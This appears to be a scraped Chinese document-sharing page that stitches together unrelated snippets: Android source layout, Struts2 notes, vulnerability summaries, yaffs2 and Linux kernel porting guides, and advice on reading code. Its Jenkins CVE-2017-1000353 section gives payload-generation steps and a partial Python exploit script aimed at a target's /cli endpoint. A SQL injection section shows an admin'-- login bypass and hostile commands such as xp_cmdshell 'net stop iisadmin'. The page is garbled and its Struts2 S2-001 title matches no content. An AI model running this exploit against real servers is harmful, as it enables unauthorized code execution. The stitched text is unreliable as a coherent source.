【Struts2-命令-代码执行漏洞分析系列】S2-001
Android源代码结构分析
目录 一、源代码结构 (2) 第一层次目录 (2) bionic目录 (3) bootloader目录 (5) build目录 (7) dalvik目录 (9) development目录 (9) external目录 (13) frameworks目录 (19) Hardware (20) Out (22) Kernel (22) packages目录 (22) prebuilt目录 (27) SDK (28) system目录 (28) Vendor (32)
一、源代码结构 第一层次目录 Google提供的Android包含了原始Android的目标机代码，主机编译工具、仿真环境，代码包经过解压缩后，第一级别的目录和文件如下所示： . |-- Makefile （全局的Makefile） |-- bionic （Bionic含义为仿生，这里面是一些基础的库的源代码） |-- bootloader （引导加载器），我们的是bootable， |-- build （build目录中的内容不是目标所用的代码，而是编译和配置所需要的脚本和工具） |-- dalvik （JAVA虚拟机） |-- development （程序开发所需要的模板和工具） |-- external （目标机器使用的一些库） |-- frameworks （应用程序的框架层） |-- hardware （与硬件相关的库） |-- kernel （Linux2.6的源代码） |-- packages （Android的各种应用程序） |-- prebuilt （Android在各种平台下编译的预置脚本） |-- recovery （与目标的恢复功能相关） `-- system （Android的底层的一些库）
Struts2框架工作原理及应用体会
2012年第11卷第6期 产业与科技论坛2012.（11）.6 Industrial &Science Tribune Struts2框架工作原理及应用体会 □宋 君 张家爱 【摘要】通过针对特定用户的分析，搭建以Struts2为技术核心的旅行社管理系统。本文简单的介绍了MVC 、 Struts2的工作原理，同时总结了在项目制作过程中所得到的心得。 【关键词】 Struts2；MVC ；FilterDispatcher ；Action 【基金项目】本文为大学生科技创新院级基金项目（编号：2011070）成果 【作者单位】宋君，吉林农业科技学院信息工程学院；张家爱，吉林农业科技学院信息工程学院教师 本着锻炼自我与积极参与到实用性技术的目标，以发掘自身创新意识为前提。利用空闲时间，在老师的指导下，进行了一次大学生创新项目的实践性活动。本着实用原则，以某中小旅行社为客户（根据用户需求，匿名），以Struts2框架为基点，进行了一次旅行社管理系统的开发。在项目结束之余， 特将在项目过程中经历的种种认识进行了简单的总结，希望让阅读本文的朋友们，更多的参与到此类活动中。 一、基础思想— ——MVC 简述作为时下经典框架之一， MVC 具有其独特的价值。MVC 框架简单的说，就是将数据模型与用户视图进行分离。通过控制器进行协调处理的一种结构是框架。同时，也是本文中要讨论的Sturts2框架的基础思想。 M 是指模型层（Model ），V 是指用户视图（View ），C 则是指控制器 （Controller ）。这种划分方式是以将模型层与视图层进行代码分离，从而降低两者之间的耦合性，使同一程序可以使用不同形式进行表现。不同层之间的修改不会或尽量少的印象到其他层功能的史前为前提。有效的提高的代码的维护性和设计难度。 图1 二、 Struts2工作原理（一）Struts2框架组成。Struts2框架由三个主要部分组成：核心控制器、业务控制器，以及由用户实现的业务逻辑组件。这里我们将侧重于核心控制器与业务控制器的理解与说明。 （二）核心控制器：FilterDispatcher 。FilterDispatcher 是Struts2框架的核心控制器，在此，我们可以将FilterDispatcher 看作一个类似于过滤网的过滤器。当用户发出请求，并到达Web 硬哟那种时，该过滤器会过滤用户请求。如果用户请求的结尾为action ，则将该请求转入Struts2框架进行处理。当Struts2框架获得了*．actio 请求后，会根据请求前面“*”的那部分内容，决定调用哪个业务逻辑组件作为响应单位。这里需要说明的是Struts2用来处理用户请求的Action 实例并不是业务控制器，而是作为Action 的代理———正因为Struts2的一大特点，与Servlet API 的非耦合性，使得用户实现的业务控制器无法直接处理用户请求。有效的提高了后期调试维护的效率。而Struts2框架再次提供了了一系列的拦截器。这些拦截器负责将HttpServletRequest 请求的参数解析出来，传入Action 中，并毁掉Action 的Execute 方法来处理用户请求。用户实现的Action 类仅作为Struts2的Action 代理的代理目标。用户实现的业务控制器则包含了对用户请求的处理。用户的请求数据包含在HttpServletRequest 对象中，而用户的Action 类无需访问HttpServletRequest 对象。拦截器负责将HttpServletRequest 里的请求数据解析出来，并传给业务逻辑组件Action 实例。 （三）业务控制器。业务控制器就是前文提到的用来实现用户Action 的实力，这里的每个Action 类通常包含有一个execute 方法，当业务控制器处理完用户的请求后，该方法将会针对此次处理返回一个字符串— ——该字符串就是一个逻辑树图名。当程序开发人员开发出系统所需要的业务控制器后，还需要针对性的配置Struts2的Action ，即需要配置Ac- tion 的以下三个部分：（1）Action 所处理的URl 。（2）Action 组件所对应的实现类。（3）Action 里包含的逻辑试图和物理资源之间的对应关系。每个Action 都要处理一个用户请求，而用户请求则总是包含有指定的URL 。当核心控制器过滤用户请求，并调用后，根据请求的URL 和Action 处理URL 之间的对应关系来处理转发。 · 342·
信息安全常见漏洞类型汇总汇总
一、注入漏洞 注入攻击（），简称注入攻击、注入，被广泛用于非法获取网站控制权，是发生在应用程序地数据库层上地安全漏洞.在设计程序，忽略了对输入字符串中夹带地指令地检查，被数据库误认为是正常地指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害. 通常情况下，注入地位置包括： （）表单提交，主要是请求，也包括请求； （）参数提交，主要为请求参数； （）参数提交； （）请求头部地一些可修改地值，比如、等； （）一些边缘地输入点，比如文件地一些文件信息等.
注入地危害不仅体现在数据库层面上，还有可能危及承载数据库地操作系统；如果注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于： （）数据库信息泄漏：数据库中存放地用户地隐私信息地泄露.作为数据地存储中心，数据库里往往保存着各类地隐私信息，注入攻击能导致这些隐私信息透明于攻击者. （）网页篡改：通过操作数据库对特定网页进行篡改. （）网站被挂马，传播恶意软件：修改数据库一些字段地值，嵌入网马链接，进行挂马攻击. （）数据库被恶意操作：数据库服务器被攻击，数据库地系统管理员帐户被篡改. （）服务器被远程控制，被安装后门.经由数据库服务器提供地操作系统支持，让黑客得以修改或控制操作系统.
（）破坏硬盘数据，瘫痪全系统. 解决注入问题地关键是对所有可能来自用户输入地数据进行严格地检查、对数据库配置使用最小权限原则. 通常使用地方案有： （）所有地查询语句都使用数据库提供地参数化查询接口，参数化地语句使用参数而不是将用户输入变量嵌入到语句中.当前几乎所有地数据库系统都提供了参数化语句执行接口，使用此接口可以非常有效地防止注入攻击. （）对进入数据库地特殊字符（'"\<>*;等）进行转义处理，或编码转换. （）确认每种数据地类型，比如数字型地数据就必须是数字，数据库中地存储字段必须对应为型. （）数据长度应该严格规定，能在一定程度上防止比较长地注入语句无法正确执行. （）网站每个数据层地编码统一，建议全部使用编码，上下层编码不一致有可能导致一些过滤模型被绕过.
yaffs2文件系统制作
交叉编译器ARM-Linux-gcc4.1.2 开发板TX2440A Busybox-1.15.1.tar.bz2（在Linux中被称为瑞士军刀） mkyaffs2image工具 首先创建一个名字为root_2.6.31的文件夹，在其中创建如下文件夹 etc bin var dev home lib mnt proc root sbin sys tmp usr opt共14个文件夹 解压Busybox tar xjvf busybox 进入源目录，修改Makefile 第164行，CROSS_COMPILE=arm-linux- 第190行，ARCH=arm 执行#make men onfig进行配置 配置选项大部分都是保持默认的，只需要注意选择以下这几个选项，其他的选项都不用动：Busybox Setting---> Build Options---> [*]Build Busybox as a static binary(no shared libs) [*]Build with Large File Support(for accessing files>2GB) Installation Options--->
(./_install)Busybox installation prefix 进入这个选项，输入busybox的安装路径，如：../rootfs Busybox Library Tuning---> [*]vi-style line editing commands [*]Fancy shell prompts 要选择这个选项:“Fancy shell prompts”，否则挂载文件系统后，无法正常显示命令提示符：“[\u@\h\W]#” 配置完成以后 执行#make #make install 然后就会在上一级目录下生成rootfs文件夹，里面包含几个文件夹/bin/sbin/usr linuxrc 把这些文件全部复制到刚建好的root_2.6.31目录下， #cp–rf*../root_2.6.31 在dev目录下，创建两个设备节点: #mknod console c51 #mknod null c13 然后进入自己建立的etc目录 拷贝Busybox-1.15.2/examples/bootfloopy/etc/*到当前目录下。 #cp-r../../busybox-1.15.2/examples/bootfloopy/etc/*./ 包括文件:fstab init.d inittab profile
linux-2.6.18移植
Linux-2.6.18移植 有了我们的交叉编译环境和我们先前学的内核基础知识，下面我们就开始我们的内核移植了，我们所用的是博创的 S3C2410 。 关于 linux-2.6.18.tar.bz2 的下载网站先前我们说过，我们要先到该官方网站上去下载一个全新的内核。 [root@Binnary ~ ]# tar –jxvf linux-2.6.18.tar.bz2 [root@Binnary ~ ]# make mrproper 如果你是新下载的内核，那这一步就不用了。但如果你用的是别人移植好的内核，那最好在编译内核之前先清除一下中间文件，因为你们用来编译内核的交叉编译工具可能不同。 第一步：修改Makefile文件 将 改为 第二步：修改分区设置信息 我们要先在BootLoader中查看相应的分区信息 vivi>help 然后修改内核源码中的分区信息。分区信息文件在 a rch/arm/mach-s3c2410/common-smdk.c 将其中的
改为如下内容：
第三步：内核通过 BootLoader把数据写入NAND Flash，而vivi的ECC效验算法和内核的不同，内核的效验码是由NAND Flash控制器产生的，所以在此必须禁用NAND Flash ECC。所以我们就要修改 drivers/mtd/nand/s3c2410.c 这个文件。将 中的 chip->ecc.mode = NAND_ECC_SOFT ，改为如下 chip->ecc.mode = NAND_ECC_NONE。
只此一处。 第四步：下面是devfs的问题，因为2.6.12内核以后取消了devfs的配置选项，缺少了它内核会找不到mtdblock设备。所以我们需要修改 fs/Kconfig 文件，或者是从2.6.12的fs/Kconfig中拷贝下面几项到2.6.18的fs/Kconfig中去，我们采用修改的方法来完成。 修改 fs/Kconfig支持devfs 。 在Pseudo filesystems 主菜单的最后添加我们所要的内容。 第五步：文件系统的支持 Yaffs 文件系统 YAFFS文件系统简介 YAFFS，Yet Another Flash File System，是一种类似于JFFS/JFFS2的专门为Flash设计 的嵌入式文件系统。与JFFS相比，它减少了一些功能，因此速度更快、占用内存更少。 YAFFS和JFFS都提供了写均衡，垃圾收集等底层操作。它们的不同之处在于： （1）、JFFS是一种日志文件系统，通过日志机制保证文件系统的稳定性。YAFFS仅仅 借鉴了日志系统的思想，不提供日志机能，所以稳定性不如JAFFS，但是资源占用少。 （2）、JFFS中使用多级链表管理需要回收的脏块，并且使用系统生成伪随机变量决定 要回收的块，通过这种方法能提供较好的写均衡，在YAFFS中是从头到尾对块搜索， 所以在垃圾收集上JFFS的速度慢，但是能延长NAND的寿命。 （3）、JFFS支持文件压缩，适合存储容量较小的系统；YAFFS不支持压缩，更适合存 储容量大的系统。 YAFFS还带有NAND芯片驱动，并为嵌入式系统提供了直接访问文件系统的API，用 户可以不使用Linux中的MTD和VFS，直接对文件进行操作。NAND Flash大多采用 MTD+YAFFS的模式。MTD（ Memory Technology Devices，内存技术设备）是对Flash 操作的接口，提供了一系列的标准函数，将硬件驱动设计和系统程序设计分开。 Yaffs 文件系统内核没有集成，可以对其主页下载： https://www.360docs.net/doc/f215421311.html,/cgi-bin/viewcvs.cgi/#dirlist
struts2 实验报告
1.系统分析与设计 1.1 系统功能描述 本系统是个非常简单的注册、登录系统。本系统的实现是基于Struts2、Spring、Hibernate 三个框架，系统功能单一，业务逻辑简单。 当用户注册信用户时，就是向系统中增加一个新用户，对应的数据库增加一条记录。 当用户输入注册信息时，系统提供了基本的输入验证判断用户输入是否合法，只有当用户输入满足基本输入要求时，才会被提交到实际的登录系统，进行实际的登录处理。 系统还使用了随机产生的图形验证码来防止刷新，防止用户通过单击浏览器的书安心按钮来重复注册多个用户。 系统还提供了一种Ajax方式来验证用户输入的注册名是否有效，系统要求所有的用户名不能重复。故当用户输完用户名后，系统立即在页面上方提示用户该用户名是否可用，如果系统中没有该用户名，则系统提示该用户名可用；否则提示用户该用户名重复，用户必须重新选择用户名注册。 当用户注册一个新用户名之后，就可以使用系统的登录功能来登录系统了，用户输入登录用的用户名、密码后，系统一样提供了基本的输入校验。 除此之外，系统还采用了随机产生图形验证码来防止恶意用户的暴力破解，系统随机生成一个图形验证码，而用户登录必须输入图形验证码中显示的字符串，只有用户输入的字符串和系统随机生成的验证码字符相同时，系统才允许用户登录。 1.2 系统功能流程
1.3 数据库设计 相关的映射文件：
常见漏洞类型汇总
一、SQL注入漏洞 SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 通常情况下，SQL注入的位置包括： （1）表单提交，主要是POST请求，也包括GET请求； （2）URL参数提交，主要为GET请求参数； （3）Cookie参数提交； （4）HTTP请求头部的一些可修改的值，比如Referer、User_Agent等； （5）一些边缘的输入点，比如.mp3文件的一些文件信息等。
SQL注入的危害不仅体现在数据库层面上，还有可能危及承载数据库的操作系统；如果SQL注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于： （1）数据库信息泄漏：数据库中存放的用户的隐私信息的泄露。作为数据的存储中心，数据库里往往保存着各类的隐私信息，SQL注入攻击能导致这些隐私信息透明于攻击者。 （2）网页篡改：通过操作数据库对特定网页进行篡改。 （3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。 （4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被篡改。 （5）服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。 （6）破坏硬盘数据，瘫痪全系统。
解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有： （1）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口，使用此接口可以非常有效的防止SQL注入攻击。 （2）对进入数据库的特殊字符（'"\<>&*;等）进行转义处理，或编码转换。 （3）确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。 （4）数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句无法正确执行。 （5）网站每个数据层的编码统一，建议全部使用UTF-8编码，上下层编码不一致有可能导致一些过滤模型被绕过。 （6）严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。
网站漏洞危害及整改建议..
网站漏洞危害及整改建议 1. 网站木马 1.1 危害 利用IE浏览器漏洞，让IE在后台自动下载黑客放臵在网站上的木马并运行（安装）这个木马，即这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始，从而实现控制访问者电脑或安装恶意软件的目的。 1.2 利用方式 表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中，当有人访问时，网页木马就会利用对方系统或者浏览器的漏洞自动将配臵好的木马的服务端下载到访问者的电脑上来自动执行。可被木马植入的网页也意味着能被篡改页面内容。 1.3 整改建议 1）加强网站程序安全检测，及时修补网站漏洞； 2）对网站代码进行一次全面检测，查看是否有其余恶意程序存在； 3）建议重新安装服务器及程序源码，防止有深度隐藏的恶意程序无法检测到，导致重新安装系统后攻击者仍可利用后门进入； 4）如有条件，建议部署网站防篡改设备。
2 . 网站暗链 2.1 危害 网站被恶意攻击者插入大量暗链，将会被搜索引擎惩罚，降低权重值；被插入大量恶意链接将会对网站访问者造成不良影响；将会协助恶意网站（可能为钓鱼网站、反动网站、赌博网站等）提高搜索引擎网站排名。可被插入暗链的网页也意味着能被篡改页面内容。 2.2 利用方式 “暗链”就是看不见的网站链接，“暗链”在网站中的链接做的非常隐蔽，可能访问者并不能一眼就能识别出被挂的隐藏链接。它和友情链接有相似之处，可以有效地提高PR 值，所以往往被恶意攻击者利用。 2.3 整改建议 1）加强网站程序安全检测，及时修补网站漏洞； 2）对网站代码进行一次全面检测，查看是否有其余恶意程序存在； 3）建议重新安装服务器及程序源码，防止无法到检测深度隐藏的恶意程序，导致重新安装系统后攻击者仍可利用后门进入； 4）如有条件，建议部署网站防篡改设备。 3 . 页面篡改 3.1 危害 政府门户网站一旦被篡改将造成多种严重的后果，主要
Yaffs2文件系统中对NAND Flash磨损均衡的改进
Yaffs2文件系统中对NAND Flash磨损均衡的改进 摘要：针对以NAND Flash为存储介质时Yaffs2文件系统存在磨损均衡的缺陷，通过改进回收块选择机制，并在数据更新中引入冷热数据分离策略，从而改善NAND Flash的磨损均衡性能。实验借助Qemu软件建立Linux嵌入式仿真平台，从总擦除次数、最大最小擦除次数差值和块擦除次数标准差等方面进行对比。实验结果表明，在改进后的Yaffs2文件系统下NAND Flash的磨损均衡效果有明显提升，这有益于延长NAND Flash的使用寿命。 关键词： Yaffs2文件系统；NAND Flash；垃圾回收；冷热数据 0 引言 NAND Flash存储设备与传统机械磁盘相比，具有体积小、存储密度高、随机存储和读写能力强、抗震抗摔、功耗低等特点[1]。它被广泛用于智能手机、车载智能中心、平板电脑等智能终端中。近年来，以NAND Flash为存储介质的固态硬盘也得到越来越多的应用。目前Yaffs2文件系统(Yet Another Flash File System Two，Yaffs2)[1]是使用最多、可移植性最好的专用文件系统，在安卓、阿里云OS、Linux等嵌入式系统中都有使用。在Yaffs2文件系统下以NAND Flash为存储介质时存在磨损均衡的缺陷，可通过对回收块选择机制作改进和引入冷热数据分离策略来提高磨损均衡的效果。 1 Yaffs2和Nand Flash关系 这里以使用最多的Linux操作系统为实践，将Yaffs2文件系统移植到Linux操作系统中。Linux系统通常可以分为3层：应用层、内核层和设备层，其中支持NAND Flash设备的Yaffs2文件系统属于内核层，。 最上层用户应用程序通过VFS(Virtual File System)提供的统一接口，将数据更新等文件操作传递给Yaffs2。VFS代表虚拟文件系统，它为上层应用提供统一的接口。有了这些接口，应用程序只用遵循抽象后的访问规则，而不必理会底层文件系统和物理构成上的差异。然后Yaffs2通过MTD（Memory Technology Device）提供的统一访问接口对NAND Flash进行读、写和擦除操作，从而完成数据的更新或者存储操作。MTD代表内存技术设备，它为存储设备提供统一访问的接口。最终，在NAND Flash上以怎样的格式组织和存储数据由Yaffs2文件系统决定。 NAND Flash由若干块(block)组成，每个块又是由若干页(page)组成，页中含有数据区和附加区。NAND Flash的页根据状态不同，可以分为有效页、脏页、空闲页。有效页中存放有效数据，脏页中存放无效数据，空闲页是经过擦除后可以直接用于写入数据的页。NAND Flash在写入数据前需要执行擦除操作，因此数据不能直接在相同的位置更新。当一个页中数据需要更新时，必须将该页中有效数据拷贝到其他空闲页上再更新，并将原来页上的数据置为无效。随着时间的推移，许多无效页累积在存储器中使得空闲页逐渐减少。当存储器中的空闲空间不足时，启动垃圾回收操作，利用回收块选择机制从待回收块中选取满足要求的块来擦除，从而得到足够的空闲空间。NAND Flash中块的擦除次数有限，通常为10 000次～100 000次[2]。当某个块的擦除次数超过使用寿命时，该块将无法正常用于数据存储。因此，垃圾回收应利用合理的回收块选择机制，从待回收块中找到回收后能产生良好磨损均衡效果且付出较少额外代价的块来回收，从而获得足够的空闲空间用于数据更新操作。 2 Yaffs2在磨损均衡方面的缺陷 Yaffs2中回收块的选择机制[3]是从待回收块中找到有效数据最少的块来回收。回收过程中，Yaffs2能够减少有效数据的额外读和写操作。当数据更新处于均匀分布的情况下，Yaffs2表现出较好的磨损均衡效果。 但是，通常情况下数据的更新频率不同，有些数据经常更新，而有些数据很少更新。经
如何看懂源代码--(分析源代码方法)
如何看懂源代码--(分析源代码方法) 4 推 荐 由于今日计划着要看Struts 开源框架的源代码 昨天看了一个小时稍微有点头绪,可是这个速度本人表示非常不满意,先去找了下资 料, 觉得不错... 摘自(繁体中文 Traditional Chinese):http://203.208.39.132/translate_c?hl=zh-CN&sl=en&tl=zh-CN&u=http://ww https://www.360docs.net/doc/f215421311.html,/itadm/article.php%3Fc%3D47717&prev=hp&rurl=https://www.360docs.net/doc/f215421311.html,&usg=AL kJrhh4NPO-l6S3OZZlc5hOcEQGQ0nwKA 下文为经过Google翻译过的简体中文版: 我们在写程式时，有不少时间都是在看别人的代码。 例如看小组的代码，看小组整合的守则，若一开始没规划怎么看，就会“噜看噜苦（台语）”不管是参考也好，从开源抓下来研究也好，为了了解箇中含意，在有限的时间下，不免会对庞大的源代码解读感到压力。网路上有一篇关于分析看代码的方法，做为程式设计师的您，不妨参考看看，换个角度来分析。也能更有效率的解读你想要的程式码片段。 六个章节： （ 1 ）读懂程式码，使心法皆为我所用。（ 2 ）摸清架构，便可轻松掌握全貌。（ 3 ）优质工具在手，读懂程式非难事。（ 4 ）望文生义，进而推敲组件的作用。（ 5 ）找到程式入口，再由上而下抽丝剥茧。（ 6 ）阅读的乐趣，透过程式码认识作者。 程式码是别人写的，只有原作者才真的了解程式码的用途及涵义。许多程式人心里都有一种不自觉的恐惧感，深怕被迫去碰触其他人所写的程式码。但是，与其抗拒接收别人的程式码，不如彻底了解相关的语言和惯例，当成是培养自我实力的基石。 对大多数的程式人来说，撰写程式码或许是令人开心的一件事情，但我相信，有更多人视阅读他人所写成的程式码为畏途。许多人宁可自己重新写过一遍程式码，也不愿意接收别人的程式码，进而修正错误，维护它们，甚至加强功能。 这其中的关键究竟在何处呢？若是一语道破，其实也很简单，程式码是别人写的，只有原作者才真的了解程式码的用途及涵义。许多程式人心里都有一种不自觉的恐惧感，深怕被迫去碰触其他人所写的程式码。这是来自于人类内心深处对于陌生事物的原始恐惧。 读懂别人写的程式码，让你收获满满 不过，基于许多现实的原因，程式人时常受迫要去接收别人的程式码。例如，同事离职了，必须接手他遗留下来的工作，也有可能你是刚进部门的菜鸟，而同事经验值够了，升级了，风水轮流转，一代菜鸟换菜鸟。甚至，你的公司所承接的专案，必须接手或是整合客户前一个厂商所遗留下来的系统，你们手上只有那套系统的原始码（运气好时，还有数量不等的文件）。 诸如此类的故事，其实时常在程式人身边或身上持续上演着。许多程式人都将接手他人的程式码，当做一件悲惨的事情。每个人都不想接手别人所撰写的程式码，因为不想花时间去探索，宁可将生产力花在产生新的程式码，而不是耗费在了解这些程式码上。
Jenkins远程代码执行漏洞配合dnslog检测漏洞—【CVE-2017-1000353】
Jenkins的反序列化漏洞，攻击者使用该漏洞可以在被攻击服务器执行任意代码，漏洞利用不需要任何的权限。 曝光地址:https://https://www.360docs.net/doc/f215421311.html,/index.php/archives/3171 影响的范围： 影响低于 2.56 的所有 Jenkins 主线版本 影响低于 2.46.1 的所有 Jenkins LTS 版本 实际操作: 1. 利用老外文章的代码，导出成payload.jar包，用来生成攻击用的payload文件。可以自定义需要执行的命令： Jar下载地址: https://https://www.360docs.net/doc/f215421311.html,/nobleXu/jenkins/zip/master java -jar payload.jar jenkins_poc1.ser “/usr/bin/touch /tmp/jenkinsTestNxadmin” 然后利用老外提供的python脚本向jenkins服务器提交post请求，就可以成功在被攻击服务器/tmp目录下生成文件。也可以使用dnslog之类的来测试，如图： 2、修改jenkins_poc1.py中第13行的URL参数，改为你要攻击的靶机 jenkins_poc1.py 下载链接: https://https://www.360docs.net/doc/f215421311.html,/s/1misPilU密码: 6qqh 具体代码如下 import urllib import requests import uuid import threading import time import gzip import urllib3 import zlib proxies = { # 'http': 'http://127.0.0.1:8090', # 'https': 'http://127.0.0.1:8090', } URL='http://192.168.0.1/cli' PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' PROTO = '\x00\x00\x00\x00' FILE_SER = open("jenkins_poc1.ser", "rb").read() def download(url, session): headers = {'Side' : 'download'} headers['Content-type'] = 'application/x-www-form-urlencoded' headers['Session'] = session headers['Transfer-Encoding'] = 'chunked' r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True) print r.text def upload(url, session, data): headers = {'Side' : 'upload'} headers['Session'] = session headers['Content-type'] = 'application/octet-stream' headers['Accept-Encoding'] = None r = requests.post(url,data=data,headers=headers,proxies=proxies) def upload_chunked(url,session, data): headers = {'Side' : 'upload'} headers['Session'] = session headers['Content-type'] = 'application/octet-stream' headers['Accept-Encoding']= None headers['Transfer-Encoding'] = 'chunked' headers['Cache-Control'] = 'no-cache' r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies) def null_payload(): yield " " def create_payload(): payload = PREAMLE + PROTO + FILE_SER return payload def create_payload_chunked(): yield PREAMLE yield PROTO yield FILE_SER def main(): print "start" session = str(uuid.uuid4()) t = threading.Thread(target=download, args=(URL, session)) t.start() time.sleep(1)
2-Linux
Linux-2.6.32.2内核在mini2440上的移植(二)---yaffs2文件系统移植 移植环境(红色粗字体字为修改后内容，蓝色粗体字为特别注意内容) 2.1， yaffs2文件系统移植 【1】获取yaffs2 源代码 现在大部分开发板都可以支持yaffs2 文件系统，它是专门针对嵌入式设备，特别是使用nand flash 作为存储器的嵌入式设备而创建的一种文件系统，早先的yaffs 仅支持小页(512byte/page)的nand flash，现在的开发板大都配备了更大容量的nand flash，它们一般是大页模式的(2K/page)，使用yaffs2 就可以支持大页的nand flash，下面是yaffs2 的移植详细步骤。 在https://www.360docs.net/doc/f215421311.html,/node/346可以下载到最新的yaffs2 源代码，需要使用git工具( 安装方法见Git版本控制软件安装与使用)，在命令行输入： [root@localhost ~]# cd ./linux-test [root@localhost linux-test]# git clone git://https://www.360docs.net/doc/f215421311.html,/ya ffs2 Cloning into yaffs2... remote: Counting objects: 6592, done. remote: Compressing objects: 100% (3881/3881), done. remote: Total 6592 (delta 5237), reused 3396 (delta 2642) Receiving objects: 100% (6592/6592), 3.34 MiB | 166 KiB/s, d one. Resolving deltas: 100% (5237/5237), done.
Struts2的工作机制原理分析及实例
Struts2的工作机制分析及实例 一、概述 本章讲述Struts2的工作原理。 读者如果曾经学习过Struts1.x或者有过Struts1.x的开发经验，那么千万不要想当然地以为这一章可以跳过。实际上Struts1.x 与Struts2并无我们想象的血缘关系。虽然Struts2的开发小组极力保留Struts1.x的习惯，但因为Struts2的核心设计完全改变，从思想到设计到工作流程，都有了很大的不同。 Struts2是Struts社区和WebWork社区的共同成果，我们甚至可以说，Struts2是WebWork的升级版，他采用的正是WebWork 的核心，所以，Struts2并不是一个不成熟的产品，相反，构建在WebWork基础之上的Struts2是一个运行稳定、性能优异、设计成熟的WEB框架。 本章主要对Struts的源代码进行分析，因为Struts2与WebWork的关系如此密不可分，因此，读者需要下载xwork的源代码，访问https://www.360docs.net/doc/f215421311.html,/xwork/download.action即可自行下载。 下载的Struts2源代码文件是一个名叫struts-2.1.0-src.zip的压缩包，里面的目录和文件非常多，读者可以定位到 struts-2.1.0-src\struts-2.0.10\src\core\src\main\java目录下查看Struts2的源文件，如图14所示。 （图14） 二、主要的包和类 Struts2框架的正常运行，除了占核心地位的xwork的支持以外，Struts2本身也提供了许多类，这些类被分门别类组织到不同的包中。从源代码中发现，基本上每一个Struts2类都访问了WebWork提供的功能，从而也可以看出Struts2与WebWork千丝万缕的联系。但无论如何，Struts2的核心功能比如将请求委托给哪个Action处理都是由xwork完成的，Struts2只是在WebWork 的基础上做了适当的简化、加强和封装，并少量保留Struts1.x中的习惯。
常见漏洞及其解决方法
常见漏洞及其解决方案 1、SQL注入漏洞 漏洞描述： SQL注入被广泛用于非法入侵网站服务器，获取网站控制权。它是应用层上的一种安全漏洞。通常在设计存在缺陷的程序中，对用户输入的数据没有做好过滤，导致恶意用户可以构造一些SQL语句让服务器去执行，从而导致数据库中的数据被窃取，篡改，删除，以及进一步导致服务器被入侵等危害。 SQL注入的攻击方式多种多样，较常见的一种方式是提前终止原SQL语句，然后追加一个新的SQL命令。为了使整个构造的字符串符合SQL语句语法，攻击者常用注释标记如“-- ”（注意空格）来终止后面的SQL字符串。执行时，此后的文本将被忽略。如某个网站的登录验证SQL查询代码为strSQL = "SELECT * FROM users WHERE name = ‘”+ userName + “’and pw =’”+ passWord +”’”，其中userName 和passWord是用户输入的参数值，用户可以输入任何的字符串。如果用户输入的userName=admin’-- ，passWord为空，则整个SQL语句变为SELECT * FROM users WHERE name=’admin’-- ‘and pw=’’，等价于SELECT * FROM users WHERE name=’admin’，将绕过对密码的验证，直接获得以admin的身份登录系统。 漏洞危害： ?数据库信息泄漏，例如个人机密数据，帐户数据，密码等。 ?删除硬盘数据，破坏整个系统的运行。 ?数据库服务器被攻击，系统管理员帐户被窜改（例如ALTER LOGIN sa WITH PASSWORD='xxxxxx'）。 ?取得系统较高权限后，可以篡改网页以及进行网站挂马。 ?经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统，植入后门程序（例如xp_cmdshell "net stop iisadmin"可停止服务器的IIS服务）。 解决方案： ?输入过滤，对于整数，判断变量是否符合[0-9]的值；其他限定值，也可以进行合法性校验；对于字符串，对SQL语句特殊字符进行转义(单引号转成两个单引号，双引号转成两个双引号)。MySQL也有类似的转义函数mysql_escape_string和mysql_real_ escape_string。Asp的过滤参考此页面https://www.360docs.net/doc/f215421311.html,/nazim/archive/ 2008/04 /28/ filtering-sql-injection-from-classic-asp.aspx ?在设计应用程序时，完全使用参数化查询（Parameterized Query）来设计数据访问功能。 ?使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件，例如https://www.360docs.net/doc/f215421311.html,的SqlDataSource对象或是LINQ to SQL，安全API库如ESAPI。?使用SQL防注入系统。 ?严格限制数据库操作的权限。普通用户与系统管理员用户的权限要有严格的区分。建立专门的账户，同时加以权限限制，满足应用的需求即可。 2、HTTPHOST头部攻击 漏洞描述：一般通用web程序是如果想知道网站域名不是一件简单的事情，如果用
信息安全漏洞月报(2018年9月)
